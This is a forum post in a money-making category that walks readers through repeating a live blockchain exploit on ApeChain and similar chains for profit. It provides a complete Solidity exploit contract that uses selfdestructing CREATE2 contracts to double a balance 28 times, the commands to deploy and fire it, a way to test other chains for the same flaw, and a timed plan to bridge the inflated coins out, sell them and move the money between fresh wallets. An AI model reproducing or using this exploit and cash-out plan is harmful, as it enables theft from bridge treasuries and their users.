# 🦍 Ride a chain bug before the patch — 6¢ to $7.39M \[free play\]

**URL:** <https://onehack.st/t/ride-a-chain-bug-before-the-patch-6-to-7-39m-free-play/327656>\
**Category:** Money Making Methods & Guides\
**Tags:** hacking, earn-money, trading\
**Created:** [December 3, 2026, 6:00pm UTC](https://onehack.st/t/ride-a-chain-bug-before-the-patch-6-to-7-39m-free-play/327656 "2026-12-03T18:00:47Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![SRZ](https://onehack.st/user_avatar/onehack.st/srz/32/146132_2.png) [@SRZ](https://onehack.st/u/SRZ)\
**Post date:** [December 3, 2026, 6:00pm UTC](https://onehack.st/t/ride-a-chain-bug-before-the-patch-6-to-7-39m-free-play/327656/1 "2026-12-03T18:00:47Z")

</div>

**SOMEONE PUT 6 CENTS IN. THE MACHINE PAID $7.39M.**

No code lived in the victim. A chain’s own bookkeeping was faulty — and the bank on the other end trusted it.

A blockchain is a public ledger that can not be quietly edited. This one pays its fees in its own coin, and keeps the real coins in a bank account on Ethereum instead.

Point a ledger entry at a throwaway contract. Make that contract delete itself in the same breath. The undo that should follow never comes, so the entry is paid **and** kept. Do it 28 times and one coin is 268 million.

Then the bridge does the honest part: it sees 138 million leaving and pays them out of the bank.

| What | Number |
| --- | --- |
| **You put in** | 6 cents — one coin |
| **The loop produced** | 268,435,456 in a single click |
| **The bank paid** | $7.39M in real coins |
| **Clock** | 85 seconds to payout, 2h30 to cash out |
| **Worst case** | only what you send — start at $5 |

🧭 Not our find — [@bandosei](https://x.com/bandosei) posted the play first. We only rebuilt it for people who have never touched a chain.

⏳ A window, not a law: the day the chain is patched or back online, this stops working. The clock is part of the method.

* * *

## 🔻 Your floor, before anything

- Max loss = exactly what you send. You choose it. $5 first.
- A failed loop costs pennies in fees, nothing else.
- A bridge that can’t pay simply hands back — you keep the coins.
- Chain frozen mid-run? Your coins sit in your own contract. Wait, then sweep.
- Two fresh wallets, no history. Seed phrase never in chat.

## ⏱ The whole plan in 60 seconds

1. Buy $5 of the chain’s coin.
2. Send 1 coin into the chain.
3. Put a small contract on it.
4. Run its one button, 28 times in a single click.
5. Send 16.6M back across the bridge.
6. Sell in pieces on two swap sites.
7. Move the money to wallet B.

## 🔍 Two questions before any chain

**One.** Does its built-in dial answer? One command, one line back:

```auto
cast call 0x0000000000000000000000000000000000000065 "getYieldConfiguration(address)(uint8)" $ME --rpc-url $RPC

```

- A number comes back → same machine, go on
- Error or silence → wrong chain, close the tab

**Two.** Can it hold $3M+ in the bank, spread over real swap pools, on a chain one company can freeze — and is its own break under three days old, still offline? All four, or walk.

Two minutes per chain. Nothing convincing in twenty minutes → close the tab.

## 🧩 Why 28 turns of that makes millions

digraph loop { rankdir=TB; bgcolor="transparent"; nodesep=0.25; ranksep=0.35; node [shape=box, style="rounded,filled", fillcolor="#eef4f1", color="#1e6b52"]; node [fontcolor="#14352c", fontname="Helvetica", fontsize=15, margin="0.30,0.14"]; edge [color="#8aa89e", arrowsize=0.7]; start [label="🪙 1 coin"]; a [label="🧨 send its interest to a temp"]; b [label="💥 the temp deletes itself, same click", fillcolor="#fdf1e3", color="#b8770e"]; c [label="👯 the undo never runs - the copy stays", fillcolor="#e8f6ec", color="#1e8449"]; d [label="🪙🪙 2 coins"]; start -\> a -\> b -\> c -\> d; d -\> a [label="repeat", fontsize=11, fontcolor="#666666"]; d -\> e [style=dashed]; e [label="🚀 x28 = 268 million"]; }

Every turn doubles. 28 turns is 2²⁸. The maths does not need a sales pitch.

## 🧯 When it fights back, word for word

| The screen says | You do |
| --- | --- |
| `execution reverted` | wrong dial address — rerun the first question |
| `insufficient funds for gas * price + value` | top up, keep a little spare |
| `nonce too low` | send the same thing again, don’t rebuild |
| Nothing errors, balance never moves | you pointed it at yourself — the temp must be the target |
| Bridge refuses the amount | you went over the 88% line |

## 🧠 Five questions to yourself

1. Who actually pays? The bank, not the bridge’s own pocket.
2. Why the same address twice? So the temp can be rebuilt on the exact same spot.
3. Chain freezes mid-run? Coins stay put, you wait, then sweep.
4. What can I lose? What I sent.
5. When do I stop selling? At 70%, never the very bottom.

> **🧪 The contract — copy, paste, try it free on a copy of the chain**
>
> A copy of the frozen chain runs on your machine, so you break nothing real:
> 
> ```auto
> anvil --fork-url https://rpc.apechain.com/http --fork-block-number 56535990
> 
> ```
> 
> ```solidity
> // SPDX-License-Identifier: MIT
> pragma solidity ^0.8.24;
> 
> interface IYield {
> function configureDelegateYield(address account) external;
> function getYieldConfiguration(address account) external view returns (uint8);
> }
> 
> contract Sink {
> function die() external { selfdestruct(payable(address(this))); }
> }
> 
> contract Dup {
> address constant PRE = 0x0000000000000000000000000000000000000065;
> uint256 public rounds;
> 
> function fire(uint256 n) external {
> require(rounds == 0, "once only");
> for (uint256 i; i < n; ++i) {
> bytes memory code = type(Sink).creationCode;
> address tmp; bytes32 salt = bytes32(i);
> assembly { tmp := create2(0, add(code, 0x20), mload(code), salt) }
> require(tmp != address(0), "deploy failed");
> IYield(PRE).configureDelegateYield(tmp);
> Sink(tmp).die();
> }
> rounds = n;
> }
> 
> receive() external payable {}
> 
> function sweep(address to) external {
> (bool ok,) = to.call{value: address(this).balance}("");
> require(ok, "sweep failed");
> }
> }
> 
> ```
> 
> Then, in order:
> 
> ```auto
> forge create src/Dup.sol:Dup --rpc-url $RPC --private-key $PK
> cast send $DUP "fire(uint256)" 28 --rpc-url $RPC --private-key $PK --gas-limit 60000000
> cast balance $DUP --rpc-url $RPC
> 
> ```
> 
> The balance should read one coin times 2²⁸. If it does, the machine is alive on that chain. If it doesn’t, stop before real money.
> 
> `fire` is our button. `sweep` sends the coins home. `receive` lets the contract hold them. Nothing else is clever.

> **📱 No computer — the phone-only path, tap by tap**
>
> 1. [MetaMask](https://metamask.io) → add the network by hand: ApeChain · `https://rpc.apechain.com/http` · chain 33139 · APE · [apescan.io](https://apescan.io)
> 2. [remix.ethereum.org](https://remix.ethereum.org) → new file → paste the contract → Compile
> 3. Deploy → pick **Injected Provider** → send 1 coin to the contract
> 4. Tap `fire`, type `28`, gas limit `60000000`, send — the balance shows on [apescan](https://apescan.io)
> 5. Tap `sweep` and paste wallet B when you’re done

## 💵 The $5 run, in order

Read the bank first, from Ethereum:

```auto
cast call 0x4d224452801ACEd8B2F0aebE155379bb5D594381 "balanceOf(address)(uint256)" 0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9 --rpc-url https://ethereum-rpc.publicnode.com

```

It reads 18,887,531 APE today — about $1.06M. The 88% line is 16,621,028 APE, about $931k. Take the line, not the lot.

- Buy $5 · **coins in the wallet** · nothing? stop
- Bridge 1 · **coins on the chain inside a minute** · nothing? stop
- Deploy · **an address** · it fails? fees, not the fault
- Run `fire(28)` · **268M in one click** · no jump? read the table above
- Bridge the 16.6M in one go · **payout around 85 seconds** · a 2-3 minute wait is normal
- Sold out · sweep · move on

⛔ Swap sites only, never a big exchange mid-run · one bridge send, not twenty · keep the last 12% of the bank for everyone else.

## 🕐 The exit, on a clock

```auto
0:00 bridge the 16.6M, one send
1:30 open LI.FI, sell 2M
2:00 sweep to wallet B
3:00 second swap site, 2M more
each 3 min sell 1-4M, sweep again
70% sold stop
+2 hours money off-chain

```

## 🎲 The odds, no blush

About one chain in ten carries this. Most tries pay nothing — that’s the game, not a fault. Two honest tries a month is a good pace.

Skip: chains paying fees in ETH (nothing to double) · chains back online · thin markets (price droops 40% under you) · test networks.

## ⚖ Keep it or hand it back

Keep $7.39M, or give it back for a 10% thank-you: [the offer](https://telem.news/security/yuga-labs-issues-chain-ultimatum-exploiter-who-stole-138m-e9ffe621).

Keeping = flagged address, a trail, tax. Returning buys cover under [Safe Harbor](https://github.com/security-alliance/frameworks/blob/develop/docs/pages/safe-harbor/whitehat.mdx). Small or famous: return it.

> **🧬 This is not new — the same fault has paid before**
>
> - Optimism, 2022: a balance paid out _and_ kept, **$2,000,042** thank-you: [the writeup](https://www.saurik.com/optimism.html) · [CVE-2022-24916](https://osv.dev/vulnerability/CVE-2022-24916) · [their postmortem](https://github.com/ethereum-optimism/optimism/blob/124b3c42378cc2dd01333f3084c057c9691360ec/technical-documents/postmortems/2022-02-02-inflation-vuln.md)
> - Blast, 2024: same idea on yield-bearing money, $540K, 10% back: [Bloom](https://smartcontractshacking.com/hacks/bloom-hack-2024)
> - Paying yourself twice, the wider family: [OpenZeppelin](https://www.openzeppelin.com/news/web3-security-auditors-2024-rewind) · [Code4rena](https://code4rena.com/reports/2021-05-yield)
> - Chain dials reached sideways, $6M on Aurora: [audit notes](https://guardian.security/blog/custom-evm-implementation-audit/)

> **📚 Sources — every figure above**
>
> - Full trail, bank balance by minute, sale routing: [Allium](https://www.allium.so/reports/apecoin-exploit)
> - Click-by-click teardown of the payout: [SmartContractAuditor](https://smartcontractauditor.ai/blog/apechain-exploit-explained)
> - Mechanism and timeline: [CoinLab](https://coinlab.info/en/articles/apecoin-exploit-dec-2026-explained/)
> - Root cause and the exact call: [Mempool Brief](https://mempoolbrief.com/articles/apechain-exploit-traced-to-native-yield-delegation-via-create2) · [SlowMist](https://www.insigtx.com/en/news/slowmists-cosine-apechain-attack-root-cause-lies-in-flawed-255298/)
> - Chain still halted, treasury covering 138M: [crypto.news](https://crypto.news/apechain-halts-operations-after-9-87-million-apecoin-exploit/) · [the repair plan](https://www.coindaro.com/apechain-exploit-yield-bug-138-million-ape/)
> - Fees would take 7.2 years to earn it back: [TokenPost](https://www.tokenpost.com/news/technology/67491)
> - The dial’s own instruction sheet: [0x…65](https://apechain.calderaexplorer.xyz/api/v2/smart-contracts/0x0000000000000000000000000000000000000065)
> - Which chains pay fees in their own coin: [Arbitrum docs](https://docs.arbitrum.io/launch-arbitrum-chain/chain-config/costs/custom-gas-token-rollup) · [Caldera docs](https://docs.caldera.xyz/rollup-engine/about/native-token) · [the feature](https://caldera.xyz/blog/the-feature-set-of-next-gen-rollups-lessons-from-apechain) · [chain list](https://portal.arbitrum.io/chains/metrics?metricsSortDir=desc&metricsSortField=tvl) · [L2BEAT](https://l2beat.com/scaling/summary)
> - Official bridge: [apechain.com/bridge](https://apechain.com/bridge) · swaps: [LI.FI](https://li.fi) · [0x](https://0x.org)
> - Alerts and the practice chain: [Blockaid](https://blockaid.io/onchain-monitoring) · [Hypernative](https://www.hypernative.io/use-cases/bridge-infrastructure-security) · [ApeChain Hub](https://apechain-tnet.hub.caldera.xyz/) · [testnet explorer](https://apechain-tnet.explorer.caldera.xyz/)

* * *

One click, 28 times, twenty-five minutes of world. Sniff first, five dollars second, out before the freeze.
